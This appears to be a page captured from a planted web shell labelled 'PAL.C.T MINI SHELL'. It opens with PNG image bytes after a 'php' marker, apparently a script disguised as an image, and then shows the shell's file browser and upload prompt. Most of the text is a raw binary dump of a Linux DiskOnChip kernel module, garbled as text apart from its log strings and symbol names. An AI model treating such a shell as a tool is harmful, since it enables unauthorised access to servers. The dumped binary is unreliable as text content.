php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/mtd/nand/
upload
files >> //lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/mtd/nand/diskonchip.ko

ELFDV4(GNUݔG$lEopŜ(Sڃt<1@v8T$9}P0u܋ 9وT$|[Ít&T$fWVS ~*18tf8u91[^_Ð[^_
S '[É'WVS 8~19u1[^_Ít&VS q11Ʌ~&ȍ	9|[
^Ít&UWVS (q11Ʌ~(8t08u&9|
8ѺD[^_]Ít&[^_]Í'1Í'ҋ u1҈
ftÐ1҈*Íҋ u1҈F
FftÐ1҈F*FÍWVS F>< t@<1   @1ZЈt^@wuF@<vh1[^_Í&F	1F	p1W&F1[^_Í&WVS u'~1t&9u[^_ÉT$L$$T$VS ۋ0ug~$1ۍ&~9uZ[^Ã=tT$L$$-D$L$T$뷉L$T$L$$L$T$t$3똉'S 
u؃[ÉD$$5v$t$Ɖl$ Ջ\$|$ҋ ustdCD$|$D$"$W0D$D$)ʼnkD$C\$t$|$l$ $Ít&1"މL$l$$ML$pUWVS5L$ **|$~>D$1ɉ8D$t~&E8u-9|D$L,8t)[^_]Í&ϊ,,[^_]ËD$L,D$18E[^_]1뿉T$L$$_T$'UWVS= (**q~$1ېt&~@9|Ê,ۈD
,ۉƈD
umu[[^_]Ã=tT$L$D$$-L$T$뒉L$T$L$$L$T$>$3뗅tt$$-o=MT$L$D$$-L$T$%t&VS ۋ0uf~$1ۍ&~9uZ[^Ã=tT$L$$-D$L$T$븉L$T$L$$L$T$u$3똍v'S **,u؃[ÉD$$5䍴&VS C3@<v*xL
uP1[^fl %=u΋u.[^Ðt&4$w1$
 ɉ\$Ét$։|$l$ /y*G		O	ut( t: 
\$t$|$l$ Ít&5 u.
ɉL$T$$O	aˆT$D$$T$ft$Ɖ|$׋\$l$ҋ +umtTKȉD$)ϹD${D$C\$t$|$l$É|$$MfWVS5 u0	ȨuJ~1349[^_ÉL$T$L$$=L$T$뮍19|뼐t&UWVSD$D$,\$D$ 8$\$.\$Ј1EE|$ÄFLEȈ&t%D$&D$&Fd1EEPt	1 pt<vt.`ft'F,;\$t&V,t[^_]Í&l$E91~$\$$.dW&P&vfst€;]t&V,2FHpT$1EE\$V@tf.1..$D$7t&)Pt&FH[^_]D$&T$$T$JUWVST$$ C3< tr@<$$$$xg11S@VĐ[^_]Ê$$$$y@1)JЈ8Et-K@wъ
ЍFS`-$$D$(l$ $у	ȉ	$f$f$fD$n?ω	$f$$l$vfD$pfD$r	f$$fD$tD$l$L$3t$4\$8ft`L$ t$ YAʉ\$,V\$n4Jt$(9;l$ M)‰!9}L$,t$f3<Qf;;\$uăD$D$(|$t~\$\vt&0|uT$$0<{=ut&F$F$F$\t&t$41\$8t$f||xt6l$ T|nEPE9M&)‰!9~fT|xuD$^1ɋt$D$D$ T$xl$<T$1D$l$D$$1t$ \$(&+Te_vaY)эtڃ\$4vbtZ\$4
Dvztrf9ut$ \$(|$3vLD^^\$,L$L$,0\$3\$yL$$0m&TD^)0T$3rt$$0f=$1|$$$1P&WVS
8'F@<v9x9x_y1[^_Ð  %=tޡ9x%=u$$Xt&t$։l$ʼn\$|$ C;@<6x=$pV0C;@<vPxusV\$t$|$l$Ð %=t3벐d %=5)$|$nWg}nnnn1nn`tnnnnn=vnnn	.	3	nv				n		n9



n

nn
n3
t
_n:annootkAoOtTkkpn~nCnns_WVS& ؋~ ؉u֡t[^_[^_r$b-d6BpUWVST$ 
	1ҹ		FWʼnW	ŀ{ uu|$un=te	1҉		F	9u$G[^_]U1WVS Gʼnډf9uu_\$$0[^_]U1W VSD$D$u&D$D$ $TD$T$L$T$0t"wt& @

\$㈃vXA∃vXAD$@tAF$T$
8u8uT$$T$Ct$l$\$|$A uU8uW|$Au]8߈Mو߈҉8u"\$\$@1$D$@ rD$\$$D$XЀuD$$4P P,dž @@(
@,@	@4@ ǀǀǀǀ ǀǀǀ@LL$JD$,ZBBBBB uL @@@@`@<C	0F0SAu] CC0CCC<_C(C C0@ǃ`@F0} CCC0C<0tMF0	C<_WGF0'C<t5T$L$D$[^_]S	
D$$u$`g1ۅt*D$$y0u1ۃ=u$؃[U1WV1SÃL$D$ T$D$D$C1ɉ|$$SXS;T$uxtt$$T$uPT$t$$T$D$T$xJPuT$B|$0uD$p{s;kX;sOT$BuD$$@D$1BT$JPD$D$C|$1ɉ$SXC;D$t$l1[^_]UWVSlT$4׋ D$1󫋓 FT$(KPL$,u$¹Y1$<D$ L$,D$0d$0GD$G
D$GD$G|$$D$KTVFn E+l$0¸Gu<GL$0,iGo9wGT$$`D$T$G<t_SX)‰SXG$)FFD$KXVFn E+l$0¸G9vG1$D$T$(KPB9BMBD$(F=u-D$4 D$@D$DD$8L$<D$(kT$(l4E_EUKXW+T$ UMl$(L$$D$$T$ ;Fw=r	T$ ;Vs2kL4PD$ T$$AQFV+D$ T$$AQ(1@(L$QPyt*(1@(QP
ǃ1҉u=u
T$4l[^_]UWVS H`;J~$pR@w7"=t
Bǀ=t
B$B4B(B8B<B@z=t
B$B4B(B8B<@@1҉_T$T#=V T$LD$8tOT)‰T$LFu$¹$D$0OPL$8AAU ET$,PT$(PT$$@D$ ED$ED$ED$ED$ED$El$$D$GTD$PUЉD$@FL$@T$HV t=~!|$H$|$D$0D$8=PG\t&+D$P;Vv$D$0l$P1D$0D$HD$8G4D$G0D$G,D$G(D$G$$LD$D$8D$|$8u?=u6(t0D$TD$`D$dG(FD$\D$XG3 t
kDTkDT_kG(L$TL$@BBG,L$@+G(BBG,;D$HFD$HD$H0xD$8|$8D$HL$@\$0l$P;D$L}ZkL$0LTPD$@D$@|$DT$DAQD$LD$8D$@T$<T$D)D$8T$<D$8T$<AQD$0|$0u!=uL$0D$T‰[^_]+9HRtytn;@n_in(tBthrnnLUnt}nven` *4>
"07AO^elshrdb@jGPZnarwn|
np).n>lQZnnn[yhrn~n9	B	nn		n		n		0


d.x;mAQsnBTx
y
%
n1


nn(EJnnd	m#s&mGszdoc_config_locationinftl_bbt_writeshow_firmware_partitionno_autopartno_ecc_failurestry_dworddebugreadbuf of %d bytes: writebuf of %d bytes: %02x 
read_byte returns %02x
select chip (%d)
verifybuf of %d bytes: not ready
was ready
hwcontrol(%d): %02x
write_byte %02x
<5>DiskOnChip found at 0x%lx
DiskOnChip 2000 (NFTL Model)DiskOnChip Millennium PlusDiskOnChip 2000 (INFTL Model)DiskOnChip Millenniumreadbuf_dword of %d bytes: ANAND DiskOnChip BDTL partitionMSYS_BBTTBB_SYSMBNAND DiskOnChip BDK partitionhigh density
<3>suppressing ECC failure
_DoC_WaitReady...
_DoC_WaitReady timed out.
DoC_WaitReady OK
<6>DiskOnChip 2000 responds to DWORD access
<7>Detected %d chips per floor.
<3>Diskonchip ioremap failed: 0x%x bytes at 0x%lx
<3>DiskOnChip Millennium Plus 32MB is not supported, ignoring.
<4>Possible DiskOnChip at 0x%lx failed TOGGLE test, dropping.
<7>Found alias of DOC at 0x%lx to 0x%lx
<3>DiskOnChip kmalloc (%d bytes) failed!
<3>DiskOnChip: Could not create a RS decoder
<6>Using configured DiskOnChip probe address 0x%lx
<6>No valid DiskOnChip devices found
<4>ECC error scanning DOC at 0x%x
<6>Found DiskOnChip %s Media Header at 0x%x
<4>DiskOnChip %s Media Header not found.
<3>Read DiskOnChip Media Header once, but can't reread it???
<3>DiskOnChip mediaheader kmalloc failed!
<6>    DataOrgID        = %s
    NumEraseUnits    = %d
    FirstPhysicalEUN = %d
    FormattedSize    = %d
    UnitSizeFactor   = %d
<4>UnitSizeFactor=0x00 detected.  Correct value is assumed to be 0x%02x.
<6>Setting virtual erase size to %d
<3>UnitSizeFactor of 0x%02x is inconsistent with device size.  Aborting.
 DiskOnChip Firmware / Media Header partition DiskOnChip Remainder partition<3>Multi-floor INFTL devices not yet supported.
<6>    bootRecordID          = %s
    NoOfBootImageBlocks   = %d
    NoOfBinaryPartitions  = %d
    NoOfBDTLPartitions    = %d
    BlockMultiplerBits    = %d
    FormatFlgs            = %d
    OsakVersion           = %d.%d.%d.%d
    PercentUsed           = %d
<3>BlockMultiplierBits=%d is inconsistent with device size.  Aborting.
<3>Writeable BBTs spanning more than one erase block are not yet supported.  FIX ME!
<6>    PARTITION[%d] ->
        virtualUnits    = %d
        firstUnit       = %d
        lastUnit        = %d
        flags           = 0x%x
        spareUnits      = %d
 DiskOnChip IPL / Media Header partition<3>doc200x_correct_data corrected %d errors
description=M-Systems DiskOnChip 2000, Millennium and Millennium Plus device driverauthor=David Woodhouse <dwmw2@infradead.org>license=GPLparm=doc_config_location:Physical memory address at which to probe for DiskOnChipparmtype=doc_config_location:ulongparmtype=inftl_bbt_write:intparmtype=show_firmware_partition:intparmtype=no_autopart:intparmtype=no_ecc_failures:intparmtype=try_dword:intparmtype=debug:intsrcversion=96C680B6F1A0EFA1BB6A044depends=reed_solomon,nandvermagic=2.6.32-504.3.3.el6.i686 SMP mod_unload modversions 686 *BN^hufq w$(0q4w8<DqHwLPXq\w`dlqpwtxqwnAmodule_layoutiparam_get_int%Kparam_set_int	lvparam_get_ulong
řparam_set_ulong
nǡ_cond_reschedh}jiffies.ګdecode_rs16k}__udelayD+\add_mtd_partitions)^add_mtd_device+E9nand_scan_bbt[__kmallocRQmemcmp)Pinit_rsLnand_scanEkmem_cache_alloc_tracemalloc_sizes5Bioremap_nocache__const_udelay՗#printkW~
0free_rszkfreeS9iounmap*mdnand_release
 
@
`




 @`diskonchipg<c`dmodule.sig^T
	J?O/0>nfYbv<6.t8WAZѩILx}uC
ſsPo8	
^`Q*'<<M0L]soD`DJ`M! 9OLc0xI@	
]
LP$9 HIFW_f@`zTK#T9`-J\Ry##'@%L(l*e<B~P
N&<dN^
dvxh#@ AL	J,2IYeo*8diskonchip.cDoC_Delaydoc2000_verifybufdoc2001_read_bytedoc2001_writebufdoc2001_readbufdoc2001_verifybufdoc200x_block_baddoc200x_enable_hweccdoc2001plus_enable_hweccdoc200x_calculate_ecccleanup_nanddocdoclistrs_decoderdoc2000_readbufdebugdoc2000_writebufdoc2000_read_bytedoc2001plus_select_chipdoc2001plus_verifybufdoc2001plus_readbufdoc2001plus_writebufdoc2001plus_read_bytedoc200x_dev_readydoc200x_hwcontroldoc200x_select_chipdoc200x_ident_chiptry_dworddoc2000_readbuf_dworddoc2000_count_chipsdoc_probedoc200x_waitdoc200x_correct_datadoc200x_oobinfonftl_scan_bbtinftl_scan_bbtdoc2001plus_commandinit_nanddocdoc_config_locationdoc_locationsfind_media_headersshow_firmware_partitionno_autopartinftl_bbt_writeempty_read_syndromeno_ecc_failures_DoC_WaitReady__mod_description1776__mod_author1775__mod_license1774__mod_doc_config_location117__mod_doc_config_locationtype116__param_doc_config_location__param_str_doc_config_location__mod_inftl_bbt_writetype113__param_inftl_bbt_write__param_str_inftl_bbt_write__mod_show_firmware_partitiontype106__param_show_firmware_partition__param_str_show_firmware_partition__mod_no_autoparttype103__param_no_autopart__param_str_no_autopart__mod_no_ecc_failurestype100__param_no_ecc_failures__param_str_no_ecc_failures__mod_try_dwordtype97__param_try_dword__param_str_try_dword__mod_debugtype94__param_debug__param_str_debugdiskonchip.mod.c_rheldata__mod_srcversion53__module_depends____versions__mod_vermagic5__udelay__this_moduledecode_rs16iounmapcleanup_modulekfreekmem_cache_alloc_traceparam_get_ulonginit_modulenand_scanioremap_nocacheinit_rs_cond_reschedmemcmpadd_mtd_deviceprintkjiffiesfree_rsparam_set_intnand_releaseadd_mtd_partitions__const_udelayparam_set_ulongmalloc_sizesparam_get_intnand_scan_bbt__kmallocdiskonchip.ko.debug?.rodata.str1.1.rodata.str1.4.init.data.rheldata.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel.gnu.linkonce.this_module.note.module.sig.gnu_debuglink.rel__param.modinfo__versions.bss.rel.text.rel.init.text.rel.exit.textV4$`	@HJ	04	)4.n2.21Q8a :	p;*P<`<@ $Bh  DT mDL i	EE Ex<TF_DMB8ULPU
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`